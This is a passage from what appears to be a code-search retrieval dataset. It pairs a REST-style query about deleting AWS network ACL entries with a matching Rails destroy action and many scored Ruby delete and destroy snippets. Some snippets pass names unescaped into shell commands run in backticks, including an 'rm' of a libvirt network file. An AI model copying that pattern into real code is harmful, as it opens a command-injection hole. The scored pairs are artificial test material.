"title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
7ee3e74cc10e2781226af302c211b669
DELETE /aws_network_acl_entries/1 DELETE /aws_network_acl_entries/1.json
[ { "docid": "3d556064f969027a8bf394526a9cd10c", "score": "0.7886504", "text": "def destroy\n @aws_network_acl_entry.destroy\n respond_to do |format|\n format.html { redirect_to aws_network_acl_entries_url, notice: 'Aws network acl entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "8208e6d7d290cf90e7bcd34bd446fb5b", "score": "0.7511046", "text": "def delete\n client.delete_network_acl(:network_acl_id => network_acl_id)\n nil\n end", "title": "" }, { "docid": "7be5279ae5a3ee84e3956b869c56d931", "score": "0.6946002", "text": "def destroy\n @aws_network_acl_tag.destroy\n respond_to do |format|\n format.html { redirect_to aws_network_acl_tags_url, notice: 'Aws network acl tag was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b6906470c11d778d347df2b026d34ffb", "score": "0.67981017", "text": "def destroy\n @acl.destroy\n respond_to do |format|\n format.html { redirect_to acls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8010e6d1ff1a2310e0c755f02e21eecd", "score": "0.66006976", "text": "def destroy\n @acl_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to acl_entries_path(@acl_entry.subject) }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "fc9ac7fc27e568a980021395c8ed2c55", "score": "0.6491049", "text": "def delete_entry(entry)\n fetcher.delete_acl_entry(entry)\n end", "title": "" }, { "docid": "1754491406d5a18e76c7e760a6594787", "score": "0.64118814", "text": "def delete\n __debug_route\n @list = delete_records[:list]\n #manifest_item_authorize!(@list) # TODO: authorize :delete\n rescue => error\n failure_status(error)\n end", "title": "" }, { "docid": "ad6419b1414aceb67333b747f3e97238", "score": "0.6320857", "text": "def destroy\n authorize! :manage, :all\n\n @network = Network.find(params[:id])\n @network.destroy\n\n respond_to do |format|\n format.html { redirect_to networks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "54302e9e6e43fb7d9db53412022e80ea", "score": "0.6267129", "text": "def delete_file_acl bucket_name, file_name, entity, options = {}\n query = { bucket: bucket_name, object: file_name, entity: entity }\n query[:generation] = options[:generation] if options[:generation]\n\n @client.execute(\n api_method: @storage.object_access_controls.delete,\n parameters: query\n )\n end", "title": "" }, { "docid": "bf7d08a55a42656abd37fcd3e761a44e", "score": "0.62519914", "text": "def destroy\n onevnet \"delete\", resource[:name]\n end", "title": "" }, { "docid": "acf65ef5e05be241a216ec4b78b4016d", "score": "0.62519616", "text": "def destroy\n @admin_access_request = Admin::AccessRequest.find(params[:id])\n @admin_access_request.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_access_requests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "18d30e78dda3744e2cf93bd9b3dc3a79", "score": "0.6230235", "text": "def destroy\n @networking_accessory.destroy\n respond_to do |format|\n format.html { redirect_to networking_accessories_url, notice: 'Networking accessory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "73c894864141655576ffd4c0ef30ebdb", "score": "0.61753076", "text": "def delete_file_acl bucket_name, file_name, entity, options = {}\n query = { bucket: bucket_name, object: file_name, entity: entity }\n query[:generation] = options[:generation] if options[:generation]\n\n execute(\n api_method: @storage.object_access_controls.delete,\n parameters: query\n )\n end", "title": "" }, { "docid": "72a31d97c84d99943ec3fc921d2f19f1", "score": "0.60831153", "text": "def delete_default_acl bucket_name, entity\n @client.execute(\n api_method: @storage.default_object_access_controls.delete,\n parameters: { bucket: bucket_name, entity: entity }\n )\n end", "title": "" }, { "docid": "c54cc33c898ba45ec560e20265a503da", "score": "0.60808337", "text": "def destroy\n @access = Access.find(params[:id])\n @access.destroy\n\n respond_to do |format|\n format.html { redirect_to accesses_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c54cc33c898ba45ec560e20265a503da", "score": "0.60808337", "text": "def destroy\n @access = Access.find(params[:id])\n @access.destroy\n\n respond_to do |format|\n format.html { redirect_to accesses_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c54cc33c898ba45ec560e20265a503da", "score": "0.60808337", "text": "def destroy\n @access = Access.find(params[:id])\n @access.destroy\n\n respond_to do |format|\n format.html { redirect_to accesses_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d9bb6dcf4b113dafa2cc55ef8175663c", "score": "0.6076228", "text": "def del_acl(user)\n acl=ImageAcl[:uuid => self.uuid, :user => user]\n acl.destroy if acl\n end", "title": "" }, { "docid": "7cc5804db70228f6a0298fbc005689a2", "score": "0.60757643", "text": "def destroy\n authorize @entry\n @entry.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.60667264", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "2a7eaa0a98b92f28a2d26c25a7a9cabd", "score": "0.6060934", "text": "def delete_file_acl bucket_name, file_name, entity, generation: nil,\n user_project: nil\n execute do\n service.delete_object_access_control \\\n bucket_name, file_name, entity,\n generation: generation, user_project: user_project(user_project)\n end\n end", "title": "" }, { "docid": "f9f87e83a7258efce9d42a68959c06df", "score": "0.60526896", "text": "def delete\n fail Dav::Exception::Forbidden, 'Permission denied to delete node'\n end", "title": "" }, { "docid": "72e3c20af862a94e9feb45ee1a12aae3", "score": "0.6047369", "text": "def destroy\n @access_entry = AccessEntry.find(params[:id])\n @access_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(access_entries_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ae616a8cf4276c566adb6149074104bf", "score": "0.6044937", "text": "def destroy\n @record = Network.find(params[:id])\n @record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "86a74c497d776061d6d4515f057ce4bc", "score": "0.6044656", "text": "def delete\n fail Exception::Forbidden, 'Permission denied to delete node'\n end", "title": "" }, { "docid": "fc0f6505871eb083d8fc9d149f9a9472", "score": "0.60410404", "text": "def delete(id:)\n id_check('id', id)\n cf_delete(path: \"/organizations/#{org_id}/firewall/access_rules/rules/#{id}\")\n end", "title": "" }, { "docid": "c197b7b2b45afae7dda8d239270645b5", "score": "0.60389435", "text": "def delete_bucket_acl bucket_name, entity\n @client.execute(\n api_method: @storage.bucket_access_controls.delete,\n parameters: { bucket: bucket_name, entity: entity }\n )\n end", "title": "" }, { "docid": "e50ade7d29f88b823964d36c90bf8e61", "score": "0.60272706", "text": "def deleteCardMember(cardId, idMember)\n\n\thash = Hash.new\n\thash[:idMember] = idMember\n\thash[:key] = $key\n\thash[:token] = $token\t\n\n\tresponse = RestClient.delete 'https://api.trello.com/1/cards/'+cardId+'/members/'+idMember, hash\n\tresponse = JSON.parse(response)\nend", "title": "" }, { "docid": "3aeea9a226ab612ef06ab841e50236a7", "score": "0.60201424", "text": "def destroy\n @accesslevel = Accesslevel.find(params[:id])\n @accesslevel.destroy\n\n respond_to do |format|\n format.html { redirect_to(accesslevels_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f624231f201fcfc8449273ff41ba2ae5", "score": "0.60194725", "text": "def destroy\n authorize @access\n @access.destroy\n respond_to do |format|\n format.html { redirect_to accesses_url, notice: t('access.destroy.confirmation') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "85552fb3ad2653405279bc4bb559aef9", "score": "0.6015429", "text": "def destroy\n output = \"onevnet delete #{resource[:name]} \", self.class.login\n `#{output}`\n end", "title": "" }, { "docid": "60d633f2af33e3c636729233e4354653", "score": "0.60036457", "text": "def delete_default_acl bucket_name, entity\n execute(\n api_method: @storage.default_object_access_controls.delete,\n parameters: { bucket: bucket_name, entity: entity }\n )\n end", "title": "" }, { "docid": "48e027b7c7e3c4510f017f54e9d7c358", "score": "0.5982488", "text": "def destroy\n @access = Access.find(params[:id])\n @access.destroy\n\n respond_to do |format|\n format.html { redirect_to(accesses_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cf3abffea3e8e4124c5aa38c87072876", "score": "0.59702337", "text": "def destroy\n audit(@accessory, current_user)\n @accessory.destroy\n \n\n head :no_content\n end", "title": "" }, { "docid": "84d63a3d69573c3f0ec9448dc489c0ff", "score": "0.5970088", "text": "def call(id)\n client.delete(\"/api/rest/v1/permissions/#{id}.json\")\n true\n end", "title": "" }, { "docid": "174b723f9e43bfa7501a9cdc389e4c1b", "score": "0.59692955", "text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end", "title": "" }, { "docid": "cf1508f5caa120db959eb63aebcea6d0", "score": "0.5960549", "text": "def destroy\n @asaaccesslist = Asaaccesslist.find(params[:id])\n @asaaccesslist.destroy\n\n respond_to do |format|\n format.html { redirect_to asaaccesslists_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6b7268228dacaa38b445bc575c39d67d", "score": "0.5944535", "text": "def delete_bucket_acl bucket_name, entity\n execute(\n api_method: @storage.bucket_access_controls.delete,\n parameters: { bucket: bucket_name, entity: entity }\n )\n end", "title": "" }, { "docid": "3c145f06471a1a1fc01516bb2a9400fa", "score": "0.5942549", "text": "def destroy\n @pool_access.destroy\n respond_to do |format|\n format.html { redirect_to pool_accesses_url, notice: 'Pool access was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aab40e915a983b19a00c602b76a1ae9a", "score": "0.59423137", "text": "def delete\n RestClient.delete \"#{@uri}/api/requests/request/#{@data['requestId']||@data['id']}\"\n puts ' Deleted request: '.red + \"#{@data['requestId']||@data['id']}\".light_blue\n end", "title": "" }, { "docid": "5904c74dbfdfefc95e3d1c5796a60d7c", "score": "0.5940737", "text": "def delete_file_acl bucket_name, file_name, entity, generation: nil,\n user_project: nil, options: {}\n if options[:retries].nil?\n options = options.merge({ retries: 0 })\n end\n execute do\n service.delete_object_access_control \\\n bucket_name, file_name, entity,\n generation: generation, user_project: user_project(user_project),\n options: options\n end\n end", "title": "" }, { "docid": "8bd3dc4926f6bb4e122c3bb028f12936", "score": "0.5940074", "text": "def delete_guest_access_portal(args = {}) \n delete(\"/guestaccess.json/gap/#{args[:portalId]}\", args)\nend", "title": "" }, { "docid": "8bd3dc4926f6bb4e122c3bb028f12936", "score": "0.5940074", "text": "def delete_guest_access_portal(args = {}) \n delete(\"/guestaccess.json/gap/#{args[:portalId]}\", args)\nend", "title": "" }, { "docid": "5d7aff807e1388b5f9233b112143a40d", "score": "0.5938861", "text": "def delete\n # Send a DELETE request to this bucket's URI.\n open(uri, :method => :delete)\n end", "title": "" }, { "docid": "a41be49f6458790d5a2d38db09348203", "score": "0.59373987", "text": "def destroy\n require 'net/http'\n require 'json'\n\n # Correct URL for deleting a resource.\n uri = URI(\"http://localhost:3000/students/#{params[:id]}.json\")\n\n request = Net::HTTP::Delete.new uri\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n if response.code == '200'\n redirect_to students_path, notice: 'Successfully removed record.'\n else\n redirect_to students_path, notice: 'Failed to delete.'\n end\n end", "title": "" }, { "docid": "daa270078ec9cb4cb6f44d5e1374e4d3", "score": "0.5933249", "text": "def destroy\n results = []\n\n node = client(resource).node(resource[:config_node_path], resource[:config_node_name])\n results.push(call_with_readiness_check(node, 'delete', [], resource))\n\n saml = client(resource).saml\n results.push(call_with_readiness_check(saml, 'delete', [], resource))\n\n handle_multi(results)\n end", "title": "" }, { "docid": "aa9b5ff53756ede711a3791c68461aa5", "score": "0.59330636", "text": "def delete_entry egress_or_ingress, rule_number\n\n unless [:ingress, :egress].include?(egress_or_ingress)\n msg = \"expected :ingress or :egress for egress_or_ingress param\"\n raise ArgumentError, msg\n end\n\n client_opts = {}\n client_opts[:network_acl_id] = network_acl_id\n client_opts[:egress] = egress_or_ingress == :egress\n client_opts[:rule_number] = rule_number\n\n client.delete_network_acl_entry(client_opts)\n\n nil\n\n end", "title": "" }, { "docid": "dd2f8a38ad404d40ad6b8ce0f3998cec", "score": "0.59265345", "text": "def delete_bucket_acl bucket_name, entity, user_project: nil\n execute do\n service.delete_bucket_access_control \\\n bucket_name, entity, user_project: user_project(user_project)\n end\n end", "title": "" }, { "docid": "e25155bef079761bfc88c532213f0d4f", "score": "0.5924774", "text": "def delete(network_name)\n @uri += \"/#{network_name}?api-version=#{api_version}\"\n end", "title": "" }, { "docid": "27acf8c5cae1a349ee445d535e3aaf81", "score": "0.59149015", "text": "def destroy\n @access.destroy\n respond_to do |format|\n format.html { redirect_to accesses_url, notice: 'Access was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8defd42c4a928b3e44092911867b3330", "score": "0.5906704", "text": "def delete\n raise \"No chain on rule - cant identify it.\" if !@data.key?(:chain)\n raise \"No chain-number on rule - cant identify it.\" if !@data.key?(:no)\n \n begin\n if @data[:chain] == :prerouting\n cmd = \"iptables -t nat\"\n else\n cmd = \"iptables\"\n end\n \n cmd << \" -D #{@data[:chain].to_s.upcase} #{@data[:no]}\"\n \n Knj::Os.shellcmd(cmd)\n rescue\n puts \"CMD: #{cmd}\\n\"\n Knj.p @data\n raise\n end\n end", "title": "" }, { "docid": "85a86b6c3495aa603de0161c86705ffe", "score": "0.5886629", "text": "def destroy\n saml = client(resource).saml\n result = call_with_readiness_check(saml, 'delete', [], resource)\n\n handle(result)\n end", "title": "" }, { "docid": "45cb19c475e269a0424cac40e83fc027", "score": "0.58849", "text": "def del_acl(user)\n acl=ImageAcl[:image_id => self.id, :user => user]\n acl.destroy if acl\n end", "title": "" }, { "docid": "9c03a6d8b781b021983f19d87e0b9282", "score": "0.5881271", "text": "def destroy\n @network = Network.find(params[:id])\n remove_network = `rm /etc/libvirt/qemu/networks/#{@network.name}.xml`\n @network.destroy\n\n respond_to do |format|\n format.html { redirect_to networks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c6b1841bb47a005922a9366185f08425", "score": "0.5880057", "text": "def destroy\n @accesskey.destroy\n respond_to do |format|\n format.html { redirect_to accesskeys_url, notice: 'Accesskey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "312d932dbc4344eedbdbff27cadbda47", "score": "0.5875098", "text": "def destroy\n @inode.destroy\n respond_to do |format|\n format.html { redirect_to inodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f0e82ff26734819737f904269816e3ca", "score": "0.5864187", "text": "def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "ec1808726c65a244f734c69b352d3ca5", "score": "0.5861745", "text": "def delete_by_name(node)\n resp = JSON.parse($m.request('/status/hosts/list').body)['records']\n resp.each do |stat|\n if stat['hostname'] == node \n puts \"Deleting node: \" + stat['hostname']\n $m.request(\"/admin/hosts/delete\", \"id=#{stat['id']}\")\n end\n end\nend", "title": "" }, { "docid": "01e4895c71bc6cbed06a7d9e3c995934", "score": "0.5861562", "text": "def delete(path, options = {})\n res = checkCon('DELETE', 'DELETE', path, options)\n WebHDFS.check_success_json(res, 'boolean')\n end", "title": "" }, { "docid": "d0bd1a2007c750b7731f085c182eac3a", "score": "0.58595914", "text": "def remove_acl\n rows = [[acl_id, type]]\n affected_user_ids = ACL.delete_acls(rows)\n notify_user_acl_modified(affected_user_ids)\n return true\n end", "title": "" }, { "docid": "af4156aa611a6cb9fe40110dfdec18ae", "score": "0.58553004", "text": "def delete(id)\n request(:delete, \"/settings/networks/#{id}.json\")\n end", "title": "" }, { "docid": "c99e2dfd0912249aa07e3ada7e87bc1a", "score": "0.58465904", "text": "def delete_bucket_acl bucket_name, entity, user_project: nil, options: {}\n if options[:retries].nil?\n options = options.merge({ retries: 0 })\n end\n execute do\n service.delete_bucket_access_control \\\n bucket_name, entity, user_project: user_project(user_project),\n options: options\n end\n end", "title": "" }, { "docid": "4d312a08749c4bfeda0ddb0e130386c0", "score": "0.5846436", "text": "def delete\n if params[:id]\n result = backend_instance.network_delete(params[:id])\n else\n result = backend_instance.network_delete_all\n end\n\n if result\n respond_with(Occi::Collection.new)\n else\n respond_with(Occi::Collection.new, status: 304)\n end\n end", "title": "" }, { "docid": "c37dcb8892958202a2e8835afb24d76e", "score": "0.58389527", "text": "def delete key\n @key = key\n url = [\"/v1/kv/#{@key}\"]\n url += check_acl_token unless check_acl_token.nil?\n @raw = @conn.delete concat_url url\n end", "title": "" }, { "docid": "c37dcb8892958202a2e8835afb24d76e", "score": "0.58389527", "text": "def delete key\n @key = key\n url = [\"/v1/kv/#{@key}\"]\n url += check_acl_token unless check_acl_token.nil?\n @raw = @conn.delete concat_url url\n end", "title": "" }, { "docid": "c37dcb8892958202a2e8835afb24d76e", "score": "0.58389527", "text": "def delete key\n @key = key\n url = [\"/v1/kv/#{@key}\"]\n url += check_acl_token unless check_acl_token.nil?\n @raw = @conn.delete concat_url url\n end", "title": "" }, { "docid": "bbf367ed0e806906f70ea06c5fd2445b", "score": "0.583664", "text": "def destroy\n @access_log = AccessLog.find(params[:id])\n @access_log.destroy\n\n respond_to do |format|\n format.html { redirect_to access_logs_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a32e61ea6d661be4d89ba142f470e0da", "score": "0.58306265", "text": "def destroy\n if !grant_access(\"alter_roles\", current_user)\n head(403)\n end\n @access_control.destroy\n respond_to do |format|\n format.html { redirect_to access_controls_url, notice: 'Access control was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fbf97d1bd44655422753dcf3c0eed09c", "score": "0.58305526", "text": "def delete # rubocop:disable Metrics/AbcSize\n attrcheck = { 'Instance' => @options[:inst] }\n @validate.attrvalidate(@options, attrcheck)\n helper = PaasHelpers.new if @options[:paas_rest_endpoint]\n deleteconfig = File.read(@options[:config]) if @options[:function] == 'jcs'\n data_hash = JSON.parse(deleteconfig) if @options[:function] == 'jcs'\n deleteinst = InstDelete.new(@options[:id_domain], @options[:user_name], @options[:passwd], @options[:function])\n @options[:paas_rest_endpoint] = helper.paas_url(@options[:paas_rest_endpoint], @options[:function]) if @options[:paas_rest_endpoint]\n deleteinst.url = @options[:paas_rest_endpoint] if @options[:paas_rest_endpoint]\n result = deleteinst.delete(data_hash, @options[:inst]) if @options[:function] == 'jcs'\n result = deleteinst.delete(nil, @options[:inst]) if @options[:function] == 'dbcs'\n @util.response_handler(result)\n JSON.pretty_generate(JSON.parse(result.body))\n end", "title": "" }, { "docid": "d2be8be77acaaa758b4b99ac6155a3de", "score": "0.5827696", "text": "def destroy\n @access_rule = AccessRule.find(params[:id])\n @access_rule.destroy\n\n respond_to do |format|\n format.html { redirect_to(access_rules_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ed11c0c75c123731b18fef414e72656c", "score": "0.58255005", "text": "def delete_permissions\n end", "title": "" }, { "docid": "b2098e8a294ec5c569716c57127a5eaa", "score": "0.5823383", "text": "def delete(name)\n configure(\"no ip access-list standard #{name}\")\n end", "title": "" }, { "docid": "91336226c2e49422dd766f089c32b9f3", "score": "0.5818148", "text": "def destroy\n @accession.destroy\n respond_to do |format|\n format.html { redirect_to accessions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1901465e5a5d72cf27089498462c2a93", "score": "0.5816875", "text": "def destroy\n check_permissions :write\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url, notice: 'Entry was successfully destroyed.' }\n format.json { render json: 'Deleted successfully', status: :no_content }\n end\n end", "title": "" }, { "docid": "468f88cf48ccad9b7d415673bfd5341d", "score": "0.5816671", "text": "def destroy\n @accession = Accession.find(params[:id])\n @accession.destroy\n\n respond_to do |format|\n format.html { redirect_to accessions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "67c4c3b2ad6014be85e4bd3b33636092", "score": "0.58166164", "text": "def destroy\n @aws_account_attribute.destroy\n respond_to do |format|\n format.html { redirect_to aws_account_attributes_url, notice: 'Aws account attribute was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "153e58976fdbfa7383392757fbb2a4ab", "score": "0.58101386", "text": "def destroy\n name, type = 